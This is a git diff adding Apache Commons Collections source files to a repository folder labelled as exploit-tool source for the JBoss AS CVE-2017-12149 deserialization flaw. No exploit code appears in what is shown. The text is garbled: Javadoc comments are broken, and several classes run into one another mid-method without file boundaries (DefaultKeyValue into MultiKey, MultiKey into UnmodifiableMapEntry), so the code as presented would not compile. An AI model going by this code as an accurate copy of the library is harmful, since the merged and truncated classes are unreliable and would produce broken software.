diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java"
new file mode 100644
index 0000000..77fa16d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java"
@@ -0,0 +1,157 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import java.util.Map;
+
+import org.apache.commons.collections.KeyValue;
+
+/**
+ * A mutable KeyValue pair that does not implement MapEntry.
+ * DefaultKeyValue
instance may not contain
+ * itself as a key or value.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:00:08 $
+ *
+ * @author James Strachan
+ * @author Michael A. Smith
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ */
+public class DefaultKeyValue extends AbstractKeyValue {
+
+ /**
+ * Constructs a new pair with a null key and null value.
+ */
+ public DefaultKeyValue() {
+ super(null, null);
+ }
+
+ /**
+ * Constructs a new pair with the specified key and given value.
+ *
+ * @param key the key for the entry, may be null
+ * @param value the value for the entry, may be null
+ */
+ public DefaultKeyValue(final Object key, final Object value) {
+ super(key, value);
+ }
+
+ /**
+ * Constructs a new pair from the specified KeyValue.
+ *
+ * @param pair the pair to copy, must not be null
+ * @throws NullPointerException if the entry is null
+ */
+ public DefaultKeyValue(final KeyValue pair) {
+ super(pair.getKey(), pair.getValue());
+ }
+
+ /**
+ * Constructs a new pair from the specified MapEntry.
+ *
+ * @param entry the entry to copy, must not be null
+ * @throws NullPointerException if the entry is null
+ */
+ public DefaultKeyValue(final Map.Entry entry) {
+ super(entry.getKey(), entry.getValue());
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Sets the key.
+ *
+ * @param key the new key
+ * @return the old key
+ * @throws IllegalArgumentException if key is this object
+ */
+ public Object setKey(final Object key) {
+ if (key == this) {
+ throw new IllegalArgumentException("DefaultKeyValue may not contain itself as a key.");
+ }
+
+ final Object old = this.key;
+ this.key = key;
+ return old;
+ }
+
+ /**
+ * Sets the value.
+ *
+ * @return the old value of the value
+ * @param value the new value
+ * @throws IllegalArgumentException if value is this object
+ */
+ public Object setValue(final Object value) {
+ if (value == this) {
+ throw new IllegalArgumentException("DefaultKeyValue may not contain itself as a value.");
+ }
+
+ final Object old = this.value;
+ this.value = value;
+ return old;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a new Map.Entry
object with key and value from this pair.
+ *
+ * @return a MapEntry instance
+ */
+ public Map.Entry toMapEntry() {
+ return new DefaultMapEntry(this);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares this Map Entry with another Map Entry.
+ * DefaultKeyValue
,
+ * and its key and value are equal to this object's key and value.
+ *
+ * @param obj the object to compare to
+ * @return true if equal key and value
+ */
+ public boolean equals(final Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof DefaultKeyValue == false) {
+ return false;
+ }
+
+ DefaultKeyValue other = (DefaultKeyValue) obj;
+ return
+ (getKey() == null ? other.getKey() == null : getKey().equals(other.getKey())) &&
+ (getValue() == null ? other.getValue() == null : getValue().equals(other.getValue()));
+ }
+
+ /**
+ * Gets a hashCode compatible with the equals method.
+ * MultiKey
allows multiple map keys to be merged together.
+ *
+ * // populate map with data mapping key+locale to localizedText
+ * Map map = new HashMap();
+ * MultiKey multiKey = new MultiKey(key, locale);
+ * map.put(multiKey, localizedText);
+ *
+ * // later retireve the localized text
+ * MultiKey multiKey = new MultiKey(key, locale);
+ * String localizedText = (String) map.get(multiKey);
+ *
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/03/13 12:43:43 $
+ *
+ * @author Howard Lewis Ship
+ * @author Stephen Colebourne
+ */
+public class MultiKey implements Serializable {
+ // This class could implement List, but that would confuse it's purpose
+
+ /** Serialisation version */
+ private static final long serialVersionUID = 4465448607415788805L;
+
+ /** The individual keys */
+ private final Object[] keys;
+ /** The cached hashCode */
+ private final int hashCode;
+
+ /**
+ * Constructor taking two keys.
+ * new MultiKey(keys, true)
.
+ *
+ * @param keys the array of keys, not null
+ * @throws IllegalArgumentException if the key array is null
+ */
+ public MultiKey(Object[] keys) {
+ this(keys, true);
+ }
+
+ /**
+ * Constructor taking an array of keys, optionally choosing whether to clone.
+ *
+ * new MultiKey(new Object[] {...}, false);
+ *
+ * MultiKey
with the
+ * same number of keys which are also equal.
+ *
+ * @param other the other object to compare to
+ * @return true if equal
+ */
+ public boolean equals(Object other) {
+ if (other == this) {
+ return true;
+ }
+ if (other instanceof MultiKey) {
+ MultiKey otherMulti = (MultiKey) other;
+ return Arrays.equals(keys, otherMulti.keys);
+ }
+ return false;
+ }
+
+ /**
+ * Gets the combined hash code that is computed from all the keys.
+ * setValue
is called.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.3 $ $Date: 2004/02/18 01:00:08 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableMapEntry extends AbstractMapEntry implements Unmodifiable {
+
+ /**
+ * Constructs a new entry with the specified key and given value.
+ *
+ * @param key the key for the entry, may be null
+ * @param value the value for the entry, may be null
+ */
+ public UnmodifiableMapEntry(final Object key, final Object value) {
+ super(key, value);
+ }
+
+ /**
+ * Constructs a new entry from the specified KeyValue.
+ *
+ * @param pair the pair to copy, must not be null
+ * @throws NullPointerException if the entry is null
+ */
+ public UnmodifiableMapEntry(final KeyValue pair) {
+ super(pair.getKey(), pair.getValue());
+ }
+
+ /**
+ * Constructs a new entry from the specified MapEntry.
+ *
+ * @param entry the entry to copy, must not be null
+ * @throws NullPointerException if the entry is null
+ */
+ public UnmodifiableMapEntry(final Map.Entry entry) {
+ super(entry.getKey(), entry.getValue());
+ }
+
+ /**
+ * Throws UnsupportedOperationException.
+ *
+ * @param value the new value
+ * @return the previous value
+ * @throws UnsupportedOperationException always
+ */
+ public Object setValue(Object value) {
+ throw new UnsupportedOperationException("setValue() is not supported");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/package.html"
new file mode 100644
index 0000000..c751cfb
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/package.html"
@@ -0,0 +1,29 @@
+
+
+
+
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractLinkedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractLinkedList.java"
new file mode 100644
index 0000000..cd6c01f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractLinkedList.java"
@@ -0,0 +1,1004 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Array;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.OrderedIterator;
+
+/**
+ * An abstract implementation of a linked list which provides numerous points for
+ * subclasses to override.
+ * next
is the first item in the
+ * list. The value of of previous
is the last item in the list.
+ */
+ protected transient Node header;
+ /** The size of the list */
+ protected transient int size;
+ /** Modification count for iterators */
+ protected transient int modCount;
+
+ /**
+ * Constructor that does nothing intended for deserialization.
+ * readObject
.
+ * Subclasses which override this method should make sure they call super,
+ * so the list is initialised properly.
+ */
+ protected void init() {
+ header = createHeaderNode();
+ }
+
+ //-----------------------------------------------------------------------
+ public int size() {
+ return size;
+ }
+
+ public boolean isEmpty() {
+ return (size() == 0);
+ }
+
+ public Object get(int index) {
+ Node node = getNode(index, false);
+ return node.getValue();
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return listIterator();
+ }
+
+ public ListIterator listIterator() {
+ return new LinkedListIterator(this, 0);
+ }
+
+ public ListIterator listIterator(int fromIndex) {
+ return new LinkedListIterator(this, fromIndex);
+ }
+
+ //-----------------------------------------------------------------------
+ public int indexOf(Object value) {
+ int i = 0;
+ for (Node node = header.next; node != header; node = node.next) {
+ if (isEqualValue(node.getValue(), value)) {
+ return i;
+ }
+ i++;
+ }
+ return -1;
+ }
+
+ public int lastIndexOf(Object value) {
+ int i = size - 1;
+ for (Node node = header.previous; node != header; node = node.previous) {
+ if (isEqualValue(node.getValue(), value)) {
+ return i;
+ }
+ i--;
+ }
+ return -1;
+ }
+
+ public boolean contains(Object value) {
+ return indexOf(value) != -1;
+ }
+
+ public boolean containsAll(Collection coll) {
+ Iterator it = coll.iterator();
+ while (it.hasNext()) {
+ if (contains(it.next()) == false) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object[] toArray() {
+ return toArray(new Object[size]);
+ }
+
+ public Object[] toArray(Object[] array) {
+ // Extend the array if needed
+ if (array.length < size) {
+ Class componentType = array.getClass().getComponentType();
+ array = (Object[]) Array.newInstance(componentType, size);
+ }
+ // Copy the values into the array
+ int i = 0;
+ for (Node node = header.next; node != header; node = node.next, i++) {
+ array[i] = node.getValue();
+ }
+ // Set the value after the last value to null
+ if (array.length > size) {
+ array[size] = null;
+ }
+ return array;
+ }
+
+ /**
+ * Gets a sublist of the main list.
+ *
+ * @param fromIndexInclusive the index to start from
+ * @param toIndexExclusive the index to end at
+ * @return the new sublist
+ */
+ public List subList(int fromIndexInclusive, int toIndexExclusive) {
+ return new LinkedSubList(this, fromIndexInclusive, toIndexExclusive);
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object value) {
+ addLast(value);
+ return true;
+ }
+
+ public void add(int index, Object value) {
+ Node node = getNode(index, true);
+ addNodeBefore(node, value);
+ }
+
+ public boolean addAll(Collection coll) {
+ return addAll(size, coll);
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ Node node = getNode(index, true);
+ for (Iterator itr = coll.iterator(); itr.hasNext();) {
+ Object value = itr.next();
+ addNodeBefore(node, value);
+ }
+ return true;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object remove(int index) {
+ Node node = getNode(index, false);
+ Object oldValue = node.getValue();
+ removeNode(node);
+ return oldValue;
+ }
+
+ public boolean remove(Object value) {
+ for (Node node = header.next; node != header; node = node.next) {
+ if (isEqualValue(node.getValue(), value)) {
+ removeNode(node);
+ return true;
+ }
+ }
+ return false;
+ }
+
+ public boolean removeAll(Collection coll) {
+ boolean modified = false;
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ if (coll.contains(it.next())) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean retainAll(Collection coll) {
+ boolean modified = false;
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ if (coll.contains(it.next()) == false) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ public Object set(int index, Object value) {
+ Node node = getNode(index, false);
+ Object oldValue = node.getValue();
+ updateNode(node, value);
+ return oldValue;
+ }
+
+ public void clear() {
+ removeAllNodes();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object getFirst() {
+ Node node = header.next;
+ if (node == header) {
+ throw new NoSuchElementException();
+ }
+ return node.getValue();
+ }
+
+ public Object getLast() {
+ Node node = header.previous;
+ if (node == header) {
+ throw new NoSuchElementException();
+ }
+ return node.getValue();
+ }
+
+ public boolean addFirst(Object o) {
+ addNodeAfter(header, o);
+ return true;
+ }
+
+ public boolean addLast(Object o) {
+ addNodeBefore(header, o);
+ return true;
+ }
+
+ public Object removeFirst() {
+ Node node = header.next;
+ if (node == header) {
+ throw new NoSuchElementException();
+ }
+ Object oldValue = node.getValue();
+ removeNode(node);
+ return oldValue;
+ }
+
+ public Object removeLast() {
+ Node node = header.previous;
+ if (node == header) {
+ throw new NoSuchElementException();
+ }
+ Object oldValue = node.getValue();
+ removeNode(node);
+ return oldValue;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof List == false) {
+ return false;
+ }
+ List other = (List) obj;
+ if (other.size() != size()) {
+ return false;
+ }
+ ListIterator it1 = listIterator();
+ ListIterator it2 = other.listIterator();
+ while (it1.hasNext() && it2.hasNext()) {
+ Object o1 = it1.next();
+ Object o2 = it2.next();
+ if (!(o1 == null ? o2 == null : o1.equals(o2)))
+ return false;
+ }
+ return !(it1.hasNext() || it2.hasNext());
+ }
+
+ public int hashCode() {
+ int hashCode = 1;
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ Object obj = it.next();
+ hashCode = 31 * hashCode + (obj == null ? 0 : obj.hashCode());
+ }
+ return hashCode;
+ }
+
+ public String toString() {
+ if (size() == 0) {
+ return "[]";
+ }
+ StringBuffer buf = new StringBuffer(16 * size());
+ buf.append("[");
+
+ Iterator it = iterator();
+ boolean hasNext = it.hasNext();
+ while (hasNext) {
+ Object value = it.next();
+ buf.append(value == this ? "(this Collection)" : value);
+ hasNext = it.hasNext();
+ if (hasNext) {
+ buf.append(", ");
+ }
+ }
+ buf.append("]");
+ return buf.toString();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares two values for equals.
+ * This implementation uses the equals method.
+ * Subclasses can override this to match differently.
+ *
+ * @param value1 the first value to compare, may be null
+ * @param value2 the second value to compare, may be null
+ * @return true if equal
+ */
+ protected boolean isEqualValue(Object value1, Object value2) {
+ return (value1 == value2 || (value1 == null ? false : value1.equals(value2)));
+ }
+
+ /**
+ * Updates the node with a new value.
+ * This implementation sets the value on the node.
+ * Subclasses can override this to record the change.
+ *
+ * @param node node to update
+ * @param value new value of the node
+ */
+ protected void updateNode(Node node, Object value) {
+ node.setValue(value);
+ }
+
+ /**
+ * Creates a new node with previous, next and element all set to null.
+ * This implementation creates a new empty Node.
+ * Subclasses can override this to create a different class.
+ *
+ * @return newly created node
+ */
+ protected Node createHeaderNode() {
+ return new Node();
+ }
+
+ /**
+ * Creates a new node with the specified properties.
+ * This implementation creates a new Node with data.
+ * Subclasses can override this to create a different class.
+ *
+ * @param value value of the new node
+ */
+ protected Node createNode(Object value) {
+ return new Node(value);
+ }
+
+ /**
+ * Creates a new node with the specified object as its
+ * value
and inserts it before node
.
+ * node
is null
+ */
+ protected void addNodeBefore(Node node, Object value) {
+ Node newNode = createNode(value);
+ addNode(newNode, node);
+ }
+
+ /**
+ * Creates a new node with the specified object as its
+ * value
and inserts it after node
.
+ * node
is null
+ */
+ protected void addNodeAfter(Node node, Object value) {
+ Node newNode = createNode(value);
+ addNode(newNode, node.next);
+ }
+
+ /**
+ * Inserts a new node into the list.
+ *
+ * @param nodeToInsert new node to insert
+ * @param insertBeforeNode node to insert before
+ * @throws NullPointerException if either node is null
+ */
+ protected void addNode(Node nodeToInsert, Node insertBeforeNode) {
+ nodeToInsert.next = insertBeforeNode;
+ nodeToInsert.previous = insertBeforeNode.previous;
+ insertBeforeNode.previous.next = nodeToInsert;
+ insertBeforeNode.previous = nodeToInsert;
+ size++;
+ modCount++;
+ }
+
+ /**
+ * Removes the specified node from the list.
+ *
+ * @param node the node to remove
+ * @throws NullPointerException if node
is null
+ */
+ protected void removeNode(Node node) {
+ node.previous.next = node.next;
+ node.next.previous = node.previous;
+ size--;
+ modCount++;
+ }
+
+ /**
+ * Removes all nodes by resetting the circular list marker.
+ */
+ protected void removeAllNodes() {
+ header.next = header;
+ header.previous = header;
+ size = 0;
+ modCount++;
+ }
+
+ /**
+ * Gets the node at a particular index.
+ *
+ * @param index the index, starting from 0
+ * @param endMarkerAllowed whether or not the end marker can be returned if
+ * startIndex is set to the list's size
+ * @throws IndexOutOfBoundsException if the index is less than 0; equal to
+ * the size of the list and endMakerAllowed is false; or greater than the
+ * size of the list
+ */
+ protected Node getNode(int index, boolean endMarkerAllowed) throws IndexOutOfBoundsException {
+ // Check the index is within the bounds
+ if (index < 0) {
+ throw new IndexOutOfBoundsException("Couldn't get the node: " +
+ "index (" + index + ") less than zero.");
+ }
+ if (!endMarkerAllowed && index == size) {
+ throw new IndexOutOfBoundsException("Couldn't get the node: " +
+ "index (" + index + ") is the size of the list.");
+ }
+ if (index > size) {
+ throw new IndexOutOfBoundsException("Couldn't get the node: " +
+ "index (" + index + ") greater than the size of the " +
+ "list (" + size + ").");
+ }
+ // Search the list and get the node
+ Node node;
+ if (index < (size / 2)) {
+ // Search forwards
+ node = header.next;
+ for (int currentIndex = 0; currentIndex < index; currentIndex++) {
+ node = node.next;
+ }
+ } else {
+ // Search backwards
+ node = header;
+ for (int currentIndex = size; currentIndex > index; currentIndex--) {
+ node = node.previous;
+ }
+ }
+ return node;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Creates an iterator for the sublist.
+ *
+ * @param subList the sublist to get an iterator for
+ */
+ protected Iterator createSubListIterator(LinkedSubList subList) {
+ return createSubListListIterator(subList, 0);
+ }
+
+ /**
+ * Creates a list iterator for the sublist.
+ *
+ * @param subList the sublist to get an iterator for
+ * @param fromIndex the index to start from, relative to the sublist
+ */
+ protected ListIterator createSubListListIterator(LinkedSubList subList, int fromIndex) {
+ return new LinkedSubListIterator(subList, fromIndex);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Serializes the data held in this object to the stream specified.
+ * writeObject
.
+ */
+ protected void doWriteObject(ObjectOutputStream outputStream) throws IOException {
+ // Write the size so we know how many nodes to read back
+ outputStream.writeInt(size());
+ for (Iterator itr = iterator(); itr.hasNext();) {
+ outputStream.writeObject(itr.next());
+ }
+ }
+
+ /**
+ * Deserializes the data held in this object to the stream specified.
+ * readObject
.
+ */
+ protected void doReadObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
+ init();
+ int size = inputStream.readInt();
+ for (int i = 0; i < size; i++) {
+ add(inputStream.readObject());
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A node within the linked list.
+ * value
property
+ * is via the methods on this class.
+ */
+ protected static class Node {
+
+ /** A pointer to the node before this node */
+ protected Node previous;
+ /** A pointer to the node after this node */
+ protected Node next;
+ /** The object contained within this node */
+ protected Object value;
+
+ /**
+ * Constructs a new header node.
+ */
+ protected Node() {
+ super();
+ previous = this;
+ next = this;
+ }
+
+ /**
+ * Constructs a new node.
+ *
+ * @param value the value to store
+ */
+ protected Node(Object value) {
+ super();
+ this.value = value;
+ }
+
+ /**
+ * Constructs a new node.
+ *
+ * @param previous the previous node in the list
+ * @param next the next node in the list
+ * @param value the value to store
+ */
+ protected Node(Node previous, Node next, Object value) {
+ super();
+ this.previous = previous;
+ this.next = next;
+ this.value = value;
+ }
+
+ /**
+ * Gets the value of the node.
+ *
+ * @return the value
+ * @since Commons Collections 3.1
+ */
+ protected Object getValue() {
+ return value;
+ }
+
+ /**
+ * Sets the value of the node.
+ *
+ * @param value the value
+ * @since Commons Collections 3.1
+ */
+ protected void setValue(Object value) {
+ this.value = value;
+ }
+
+ /**
+ * Gets the previous node.
+ *
+ * @return the previous node
+ * @since Commons Collections 3.1
+ */
+ protected Node getPreviousNode() {
+ return previous;
+ }
+
+ /**
+ * Sets the previous node.
+ *
+ * @param previous the previous node
+ * @since Commons Collections 3.1
+ */
+ protected void setPreviousNode(Node previous) {
+ this.previous = previous;
+ }
+
+ /**
+ * Gets the next node.
+ *
+ * @return the next node
+ * @since Commons Collections 3.1
+ */
+ protected Node getNextNode() {
+ return next;
+ }
+
+ /**
+ * Sets the next node.
+ *
+ * @param next the next node
+ * @since Commons Collections 3.1
+ */
+ protected void setNextNode(Node next) {
+ this.next = next;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A list iterator over the linked list.
+ */
+ protected static class LinkedListIterator implements ListIterator, OrderedIterator {
+
+ /** The parent list */
+ protected final AbstractLinkedList parent;
+
+ /**
+ * The node that will be returned by {@link #next()}. If this is equal
+ * to {@link AbstractLinkedList#header} then there are no more values to return.
+ */
+ protected Node next;
+
+ /**
+ * The index of {@link #next}.
+ */
+ protected int nextIndex;
+
+ /**
+ * The last node that was returned by {@link #next()} or {@link
+ * #previous()}. Set to null
if {@link #next()} or {@link
+ * #previous()} haven't been called, or if the node has been removed
+ * with {@link #remove()} or a new node added with {@link #add(Object)}.
+ * Should be accessed through {@link #getLastNodeReturned()} to enforce
+ * this behaviour.
+ */
+ protected Node current;
+
+ /**
+ * The modification count that the list is expected to have. If the list
+ * doesn't have this count, then a
+ * {@link java.util.ConcurrentModificationException} may be thrown by
+ * the operations.
+ */
+ protected int expectedModCount;
+
+ /**
+ * Create a ListIterator for a list.
+ *
+ * @param parent the parent list
+ * @param fromIndex the index to start at
+ */
+ protected LinkedListIterator(AbstractLinkedList parent, int fromIndex) throws IndexOutOfBoundsException {
+ super();
+ this.parent = parent;
+ this.expectedModCount = parent.modCount;
+ this.next = parent.getNode(fromIndex, true);
+ this.nextIndex = fromIndex;
+ }
+
+ /**
+ * Checks the modification count of the list is the value that this
+ * object expects.
+ *
+ * @throws ConcurrentModificationException If the list's modification
+ * count isn't the value that was expected.
+ */
+ protected void checkModCount() {
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ }
+
+ /**
+ * Gets the last node returned.
+ *
+ * @throws IllegalStateException If {@link #next()} or
+ * {@link #previous()} haven't been called, or if the node has been removed
+ * with {@link #remove()} or a new node added with {@link #add(Object)}.
+ */
+ protected Node getLastNodeReturned() throws IllegalStateException {
+ if (current == null) {
+ throw new IllegalStateException();
+ }
+ return current;
+ }
+
+ public boolean hasNext() {
+ return next != parent.header;
+ }
+
+ public Object next() {
+ checkModCount();
+ if (!hasNext()) {
+ throw new NoSuchElementException("No element at index " + nextIndex + ".");
+ }
+ Object value = next.getValue();
+ current = next;
+ next = next.next;
+ nextIndex++;
+ return value;
+ }
+
+ public boolean hasPrevious() {
+ return next.previous != parent.header;
+ }
+
+ public Object previous() {
+ checkModCount();
+ if (!hasPrevious()) {
+ throw new NoSuchElementException("Already at start of list.");
+ }
+ next = next.previous;
+ Object value = next.getValue();
+ current = next;
+ nextIndex--;
+ return value;
+ }
+
+ public int nextIndex() {
+ return nextIndex;
+ }
+
+ public int previousIndex() {
+ // not normally overridden, as relative to nextIndex()
+ return nextIndex() - 1;
+ }
+
+ public void remove() {
+ checkModCount();
+ parent.removeNode(getLastNodeReturned());
+ current = null;
+ nextIndex--;
+ expectedModCount++;
+ }
+
+ public void set(Object obj) {
+ checkModCount();
+ getLastNodeReturned().setValue(obj);
+ }
+
+ public void add(Object obj) {
+ checkModCount();
+ parent.addNodeBefore(next, obj);
+ current = null;
+ nextIndex++;
+ expectedModCount++;
+ }
+
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A list iterator over the linked sub list.
+ */
+ protected static class LinkedSubListIterator extends LinkedListIterator {
+
+ /** The parent list */
+ protected final LinkedSubList sub;
+
+ protected LinkedSubListIterator(LinkedSubList sub, int startIndex) {
+ super(sub.parent, startIndex + sub.offset);
+ this.sub = sub;
+ }
+
+ public boolean hasNext() {
+ return (nextIndex() < sub.size);
+ }
+
+ public boolean hasPrevious() {
+ return (previousIndex() >= 0);
+ }
+
+ public int nextIndex() {
+ return (super.nextIndex() - sub.offset);
+ }
+
+ public void add(Object obj) {
+ super.add(obj);
+ sub.expectedModCount = parent.modCount;
+ sub.size++;
+ }
+
+ public void remove() {
+ super.remove();
+ sub.expectedModCount = parent.modCount;
+ sub.size--;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * The sublist implementation for AbstractLinkedList.
+ */
+ protected static class LinkedSubList extends AbstractList {
+ /** The main list */
+ private AbstractLinkedList parent;
+ /** Offset from the main list */
+ private int offset;
+ /** Sublist size */
+ private int size;
+ /** Sublist modCount */
+ private int expectedModCount;
+
+ protected LinkedSubList(AbstractLinkedList parent, int fromIndex, int toIndex) {
+ if (fromIndex < 0) {
+ throw new IndexOutOfBoundsException("fromIndex = " + fromIndex);
+ }
+ if (toIndex > parent.size()) {
+ throw new IndexOutOfBoundsException("toIndex = " + toIndex);
+ }
+ if (fromIndex > toIndex) {
+ throw new IllegalArgumentException("fromIndex(" + fromIndex + ") > toIndex(" + toIndex + ")");
+ }
+ this.parent = parent;
+ this.offset = fromIndex;
+ this.size = toIndex - fromIndex;
+ this.expectedModCount = parent.modCount;
+ }
+
+ public int size() {
+ checkModCount();
+ return size;
+ }
+
+ public Object get(int index) {
+ rangeCheck(index, size);
+ checkModCount();
+ return parent.get(index + offset);
+ }
+
+ public void add(int index, Object obj) {
+ rangeCheck(index, size + 1);
+ checkModCount();
+ parent.add(index + offset, obj);
+ expectedModCount = parent.modCount;
+ size++;
+ LinkedSubList.this.modCount++;
+ }
+
+ public Object remove(int index) {
+ rangeCheck(index, size);
+ checkModCount();
+ Object result = parent.remove(index + offset);
+ expectedModCount = parent.modCount;
+ size--;
+ LinkedSubList.this.modCount++;
+ return result;
+ }
+
+ public boolean addAll(Collection coll) {
+ return addAll(size, coll);
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ rangeCheck(index, size + 1);
+ int cSize = coll.size();
+ if (cSize == 0) {
+ return false;
+ }
+
+ checkModCount();
+ parent.addAll(offset + index, coll);
+ expectedModCount = parent.modCount;
+ size += cSize;
+ LinkedSubList.this.modCount++;
+ return true;
+ }
+
+ public Object set(int index, Object obj) {
+ rangeCheck(index, size);
+ checkModCount();
+ return parent.set(index + offset, obj);
+ }
+
+ public void clear() {
+ checkModCount();
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ it.next();
+ it.remove();
+ }
+ }
+
+ public Iterator iterator() {
+ checkModCount();
+ return parent.createSubListIterator(this);
+ }
+
+ public ListIterator listIterator(final int index) {
+ rangeCheck(index, size + 1);
+ checkModCount();
+ return parent.createSubListListIterator(this, index);
+ }
+
+ public List subList(int fromIndexInclusive, int toIndexExclusive) {
+ return new LinkedSubList(parent, fromIndexInclusive + offset, toIndexExclusive + offset);
+ }
+
+ protected void rangeCheck(int index, int beyond) {
+ if (index < 0 || index >= beyond) {
+ throw new IndexOutOfBoundsException("Index '" + index + "' out of bounds for size '" + size + "'");
+ }
+ }
+
+ protected void checkModCount() {
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractListDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractListDecorator.java"
new file mode 100644
index 0000000..8cfa1e0
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractListDecorator.java"
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.ListIterator;
+
+import org.apache.commons.collections.collection.AbstractCollectionDecorator;
+
+/**
